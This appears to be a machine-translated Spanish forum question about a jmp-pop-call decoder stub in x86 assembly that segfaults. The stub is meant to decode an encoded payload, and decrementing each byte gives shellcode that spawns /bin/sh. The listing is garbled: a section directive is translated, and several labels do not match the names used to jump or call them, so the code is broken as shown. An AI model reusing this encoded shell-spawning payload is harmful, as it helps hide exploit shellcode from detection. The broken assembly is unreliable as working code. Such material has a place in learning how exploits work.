Esto es una parte del código en el que no puedo resolver el error. Estoy usando la técnica jmp-pop-call y lo que obtengo es "Falla de segmentación". Intenté usar GDB pero las cosas son realmente vagas. Cada byte está codificado por 1 en python y lo que quiero es decodificar con la siguiente parte del código:
global _start
sección .text
_start:
jmp short call_shellcode
decodificador:
pop esi
xor eax, eax
mov edx, 23
decodificar:
mov bl, byte[esi+eax]
dec byte[esi+eax]
cont:
cmp eax,edx
jz short encodedShellcode
inc eax
jmp short decode
call_shellcode:
call decoder
encodedShellcode db 0x32,0xc1,0x51,0x69,0x30,0x74,0x69,0x69,0x30,0x63,0x6a,0x6f,0x8a,0xe4,0x51,0x54,0x8a,0xe2,0x9a,0xb1,0x0c,0xce,0x81,